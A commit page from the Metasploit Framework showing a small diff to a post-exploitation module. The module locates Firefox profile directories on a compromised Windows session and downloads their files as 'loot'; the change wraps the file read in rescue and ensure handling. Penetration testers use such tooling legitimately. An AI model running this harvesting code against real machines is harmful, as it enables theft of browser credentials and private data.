Add a rescue for the file download
git-svn-id: file:///home/svn/framework3/trunk@12176 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
30b25994d7
commit
c0bde3f030
|
@ -170,13 +170,13 @@ class Metasploit3 < Msf::Post
|
||||||
paths = []
|
paths = []
|
||||||
path = path + "\\Mozilla\\"
|
path = path + "\\Mozilla\\"
|
||||||
print_status("Checking for Firefox directory in: #{path}")
|
print_status("Checking for Firefox directory in: #{path}")
|
||||||
|
|
||||||
stat = session.fs.file.stat(path) rescue nil
|
stat = session.fs.file.stat(path) rescue nil
|
||||||
if !stat
|
if !stat
|
||||||
print_error("Firefox not found")
|
print_error("Firefox not found")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
session.fs.dir.foreach(path) do |fdir|
|
session.fs.dir.foreach(path) do |fdir|
|
||||||
if fdir =~ /Firefox/i and @platform == :windows
|
if fdir =~ /Firefox/i and @platform == :windows
|
||||||
paths << path + fdir + "Profiles\\"
|
paths << path + fdir + "Profiles\\"
|
||||||
|
@ -227,11 +227,15 @@ class Metasploit3 < Msf::Post
|
||||||
print_good("Downloading #{file} file from: #{path}")
|
print_good("Downloading #{file} file from: #{path}")
|
||||||
file = path + "\\" + file
|
file = path + "\\" + file
|
||||||
fd = session.fs.file.new(file)
|
fd = session.fs.file.new(file)
|
||||||
until fd.eof?
|
begin
|
||||||
loot << fd.read
|
until fd.eof?
|
||||||
|
loot << fd.read
|
||||||
|
end
|
||||||
|
rescue EOFError
|
||||||
|
ensure
|
||||||
|
fd.close
|
||||||
end
|
end
|
||||||
fd.close
|
|
||||||
|
|
||||||
ext = file.split('.')[2]
|
ext = file.split('.')[2]
|
||||||
if ext == "txt"
|
if ext == "txt"
|
||||||
mime = "plain"
|
mime = "plain"
|
||||||
|
|
Loading…
Reference in New Issue